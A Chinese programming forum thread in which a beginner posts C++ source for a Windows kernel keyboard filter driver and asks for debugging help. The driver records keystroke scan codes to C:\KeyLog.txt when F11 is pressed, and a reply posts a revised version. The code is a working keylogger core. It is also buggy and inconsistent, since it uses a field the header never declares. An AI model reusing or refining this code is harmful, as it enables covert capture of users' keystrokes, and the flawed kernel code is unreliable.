回 帖 发 新 帖 刷新版面

主题:KMD C键盘过滤驱动

Drv.h:
extern "C"
{
    #include <ddk\ntddk.h>
    #include <ddk\ntddkbd.h>
    #include <stdio.h>
    #include <stdlib.h>
}
//
typedef struct _DeviceExtension
{
    PDEVICE_OBJECT pThisDevice;
    UNICODE_STRING DeviceName;
    UNICODE_STRING SymboLinkName;
    PDEVICE_OBJECT KbdDevice;
    PIRP pIrp;
    USHORT KeyCode;
    bool IsHook;
    KEVENT kEvent;
}DEVICE_EXTENSION,*PDEVICE_EXTENSION;
//
extern "C" NTSTATUS STDCALL DriverEntry(IN PDRIVER_OBJECT,IN PUNICODE_STRING);
NTSTATUS STDCALL CreateDevice(IN PDRIVER_OBJECT);
void STDCALL DrvUnload(IN PDRIVER_OBJECT);
NTSTATUS STDCALL DrvDispatch(IN PDEVICE_OBJECT,IN PIRP);
NTSTATUS STDCALL DispatchRead(IN PDEVICE_OBJECT,IN PIRP);
NTSTATUS STDCALL CompleteFunc(IN PDEVICE_OBJECT,IN PIRP,IN PVOID);
void STDCALL CancelRoutine(IN PDEVICE_OBJECT,IN PIRP);
void STDCALL ThreadProc(PVOID);
//
Drv.cpp:
#include "Drv.h"
//@@@@@@@@@@@@@@@@@@@@@@@@@.驱动入口
NTSTATUS STDCALL DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING pRegistryPath)
{
    NTSTATUS Status;
    for(int i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
    {
        pDriverObject->MajorFunction[i]=DrvDispatch;
    }
    pDriverObject->DriverUnload=DrvUnload;
    pDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
    Status=CreateDevice(pDriverObject);
    return Status;
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.创建设备
NTSTATUS STDCALL CreateDevice(IN PDRIVER_OBJECT pDriverObject)
{
    DbgPrint("CreateDevice\n");
    NTSTATUS Status;
    PDEVICE_OBJECT pDeviceObject;
    PDEVICE_EXTENSION pDeviceExtension;
    UNICODE_STRING DeviceName;
    UNICODE_STRING ustrKbdDeviceName;
    PDEVICE_OBJECT pTargetDevice;
    RtlInitUnicodeString(&DeviceName,L"\\Device\\QqDevice");
    Status=IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION),&DeviceName,FILE_DEVICE_KEYBOARD,0,TRUE,&pDeviceObject);
    if(!NT_SUCCESS(Status))
    {
        DbgPrint("Create Device Error\n");
        return Status;
    }
    DbgPrint("CreateDevice Successfully\n");
    pDeviceObject->Flags|=DO_BUFFERED_IO;
    pDeviceExtension=(PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
    pDeviceExtension->pThisDevice=pDeviceObject;
    pDeviceExtension->DeviceName=DeviceName;
    RtlInitUnicodeString(&ustrKbdDeviceName,L"\\Device\\KeyboardClass0");
    Status=IoAttachDevice(pDeviceObject,&ustrKbdDeviceName,&pTargetDevice);
    if(!NT_SUCCESS(Status))
    {
        DbgPrint("Attach Device Error\n");
    }
    else
    {
        DbgPrint("Attach Device Successful\n");
        pDeviceExtension->KbdDevice=pTargetDevice;
    }
    //Create SymboLink
    UNICODE_STRING SymboLink;
    RtlInitUnicodeString(&SymboLink,L"\\??\\QqSymboLink");
    pDeviceExtension->SymboLinkName=SymboLink;
    Status=IoCreateSymbolicLink(&SymboLink,&DeviceName);
    if(!NT_SUCCESS(Status))
    {
        IoDeleteDevice(pDeviceObject);
        return Status;
    }
    DbgPrint("SymboLink Create Successfully\n");
    return Status;
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.卸载驱动
void STDCALL DrvUnload(IN PDRIVER_OBJECT pDriverObject)
{
    DbgPrint("Driver Unload\n");
    IoCancelIrp(((PDEVICE_EXTENSION)(pDriverObject->DeviceObject->DeviceExtension))->pIrp);
    PDEVICE_OBJECT pTempDeviceObject;
    pTempDeviceObject=pDriverObject->DeviceObject;
    PDEVICE_EXTENSION pDeviceExtension=(PDEVICE_EXTENSION)pTempDeviceObject->DeviceExtension;
    IoDetachDevice(pDeviceExtension->KbdDevice);
    UNICODE_STRING pLinkName=pDeviceExtension->SymboLinkName;
    IoDeleteSymbolicLink(&pLinkName);
    IoDeleteDevice(pTempDeviceObject);
    return;
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.分发函数
NTSTATUS STDCALL DrvDispatch(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
    DbgPrint("DrvDispatch\n");
    PIO_STACK_LOCATION pIoSpLoc=IoGetCurrentIrpStackLocation(pIrp);
    ULONG IoControlCode;
    switch(pIoSpLoc->MajorFunction)
    {
        case IRP_MJ_CREATE:
            DbgPrint("IRP_MJ_CREATE\n");
            break;
        case IRP_MJ_CLOSE:
            DbgPrint("IRP_MJ_CLOSE\n");
            break;
        case IRP_MJ_WRITE:
            DbgPrint("IRP_MJ_WRITE\n");
            break;
        case IRP_MJ_DEVICE_CONTROL:
            DbgPrint("IRP_MJ_DEVICE_CONTROL\n");
            IoControlCode=pIoSpLoc->Parameters.DeviceIoControl.IoControlCode;
            if(IoControlCode==0x200)
            {
                DbgPrint("IoControlCode 0x200\n");
            }
            break;
        default:
            break;
    }
    pIrp->IoStatus.Status=STATUS_SUCCESS;
    pIrp->IoStatus.Information=0;
    IoCompleteRequest(pIrp,IO_NO_INCREMENT);
    return pIrp->IoStatus.Status;
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.读取例程
NTSTATUS STDCALL DispatchRead(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
    //DbgPrint("Dispatch Read\n");
    ((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->pIrp=pIrp;
    IoCopyCurrentIrpStackLocationToNext(pIrp);
    IoSetCompletionRoutine(pIrp,CompleteFunc,pDeviceObject,TRUE,TRUE,TRUE);
    IoSetCancelRoutine(pIrp,CancelRoutine);
    return IoCallDriver(((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->KbdDevice,pIrp);
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.完成函数
NTSTATUS STDCALL CompleteFunc(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp,IN PVOID Context)
{
    //DbgPrint("Complete Routine\n");
    NTSTATUS Status;
    HANDLE hThread;
    PIO_STACK_LOCATION pIrpSp;
    PKEYBOARD_INPUT_DATA pKeyData;
    pIrpSp=IoGetCurrentIrpStackLocation(pIrp);
    if(NT_SUCCESS(pIrp->IoStatus.Status))
    {
        pKeyData=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
        if(pIrp->IoStatus.Status==STATUS_SUCCESS&&pKeyData->Flags==1)
        {
            DbgPrint("%d\n",pKeyData->MakeCode);
            ((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->KeyCode=pKeyData->MakeCode;
            if(pKeyData->MakeCode==87)
            {
                Status=PsCreateSystemThread(&hThread,(ACCESS_MASK)0,NULL,(HANDLE)0,NULL,ThreadProc,pDeviceObject->DeviceExtension);
                if(!NT_SUCCESS(Status))
                {
                    DbgPrint("Thread Create Error\n");
                }
                else
                {
                    ZwClose(hThread);
                }
            }
            else if(pKeyData->MakeCode==88)
            {
                ((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->IsHook=false;
            }
        }
        if(pIrp->PendingReturned)
        {
            IoMarkIrpPending(pIrp);
        }
    }
    return STATUS_SUCCESS;
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.取消函数
void STDCALL CancelRoutine(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
    KIRQL Irql;
    IoAcquireCancelSpinLock(&Irql);
    pIrp->IoStatus.Status=STATUS_CANCELLED;
    IoCompleteRequest(pIrp,IO_NO_INCREMENT);
    IoReleaseCancelSpinLock(Irql);
    return ;
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.线程函数
void STDCALL ThreadProc(PVOID DevExt)
{
    HANDLE hFile;
    NTSTATUS Status;
    PDEVICE_EXTENSION pDeviceExtension=(PDEVICE_EXTENSION)DevExt;
    UNICODE_STRING ustrFileName;
    OBJECT_ATTRIBUTES ObjectAttributes;
    IO_STATUS_BLOCK IoStatusBlock;
    USHORT KeyCode=0;
    //
    pDeviceExtension->IsHook=true;
    RtlInitUnicodeString(&ustrFileName,L"\\??\\c:\\KeyLog.txt");
    InitializeObjectAttributes(&ObjectAttributes,&ustrFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
    DbgPrint("In Thread\n");
    Status=ZwCreateFile(&hFile,GENERIC_READ|GENERIC_WRITE,&ObjectAttributes,&IoStatusBlock,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);
    if(!NT_SUCCESS(Status))
    {
        DbgPrint("Create File Error\n");
    }
    while(pDeviceExtension->IsHook)
    {
        //
        if(!NT_SUCCESS(Status))
        {
            DbgPrint("WaitForObject Not Successful\n");
        }
        DbgPrint("Loop Write\n");
        if(KeyCode!=pDeviceExtension->KeyCode)
        {
            ZwWriteFile(hFile,NULL,NULL,NULL,&IoStatusBlock,&pDeviceExtension->KeyCode,sizeof(USHORT),NULL,NULL);
        }
        KeyCode=pDeviceExtension->KeyCode;
    }
    ZwClose(hFile);
    PsTerminateSystemThread(STATUS_SUCCESS);
    DbgPrint("Thread Exited\n");
    return;
}
刚开始学驱动,写了一个键盘过滤的驱动,用KMD加载器加载以后按F11开始记录按键扫描码,保存在C:\KEYLOG.TXT,按F12停止记录,因为刚开始接触所以这个驱动有问题,驱动卸载后键盘输入无反应,卸载后再加载电脑重新启动,如果要查看记录结果的话需要用16进制编辑器打开,显示的是输入按键的扫描码,用记事本打开的话看到的是乱码,如果论坛里有驱动高手的话请对我提出的问题指点一二,谢谢.

回复列表 (共1个回复)

沙发

修改后的:但是上述问题还是没有解决
//@@@@@@@@@@@@@@@@@@@@@@@@@.完成函数
NTSTATUS STDCALL CompleteFunc(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp,IN PVOID Context)
{
    //DbgPrint("Complete Routine\n");
    NTSTATUS Status;
    HANDLE hThread;
    PIO_STACK_LOCATION pIrpSp;
    PKEYBOARD_INPUT_DATA pKeyData;
    pIrpSp=IoGetCurrentIrpStackLocation(pIrp);
    if(NT_SUCCESS(pIrp->IoStatus.Status))
    {
        pKeyData=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
        if(pIrp->IoStatus.Status==STATUS_SUCCESS&&pKeyData->Flags==1)
        {
            DbgPrint("%d\n",pKeyData->MakeCode);
            ((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->KeyCode=pKeyData->MakeCode;
            if(pKeyData->MakeCode==87)
            {
                Status=PsCreateSystemThread(&hThread,(ACCESS_MASK)0,NULL,(HANDLE)0,NULL,ThreadProc,pDeviceObject->DeviceExtension);
                if(!NT_SUCCESS(Status))
                {
                    DbgPrint("Thread Create Error\n");
                }
                else
                {
                    ZwClose(hThread);
                }
            }
            else if(pKeyData->MakeCode==88)
            {
                ((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->IsHook=false;
            }
            ((PDEVICE_EXTENSION)(pDeviceObject->DeviceExtension))->KeyPressed=true;
        }
        if(pIrp->PendingReturned)
        {
            IoMarkIrpPending(pIrp);
        }
    }
    return STATUS_SUCCESS;
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.取消函数
void STDCALL CancelRoutine(IN PDEVICE_OBJECT pDeviceObject,IN PIRP pIrp)
{
    KIRQL Irql;
    IoAcquireCancelSpinLock(&Irql);
    pIrp->IoStatus.Status=STATUS_CANCELLED;
    IoCompleteRequest(pIrp,IO_NO_INCREMENT);
    IoReleaseCancelSpinLock(Irql);
    return ;
}
//@@@@@@@@@@@@@@@@@@@@@@@@@.线程函数
void STDCALL ThreadProc(PVOID DevExt)
{
    HANDLE hFile;
    NTSTATUS Status;
    PDEVICE_EXTENSION pDeviceExtension=(PDEVICE_EXTENSION)DevExt;
    UNICODE_STRING ustrFileName;
    OBJECT_ATTRIBUTES ObjectAttributes;
    IO_STATUS_BLOCK IoStatusBlock;
    //
    pDeviceExtension->IsHook=true;
    pDeviceExtension->KeyPressed=false;
    RtlInitUnicodeString(&ustrFileName,L"\\??\\c:\\KeyLog.txt");
    InitializeObjectAttributes(&ObjectAttributes,&ustrFileName,OBJ_CASE_INSENSITIVE,NULL,NULL);
    DbgPrint("In Thread\n");
    Status=ZwCreateFile(&hFile,GENERIC_READ|GENERIC_WRITE,&ObjectAttributes,&IoStatusBlock,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);
    if(!NT_SUCCESS(Status))
    {
        DbgPrint("Create File Error\n");
    }
    while(pDeviceExtension->IsHook)
    {
        if(pDeviceExtension->KeyPressed)
        {
            ZwWriteFile(hFile,NULL,NULL,NULL,&IoStatusBlock,&pDeviceExtension->KeyCode,sizeof(USHORT),NULL,NULL);
            pDeviceExtension->KeyPressed=false;
        }
    }
    ZwClose(hFile);
    PsTerminateSystemThread(STATUS_SUCCESS);
    DbgPrint("Thread Exited\n");
    return;
}

我来回复

您尚未登录,请登录后再回复。点此登录或注册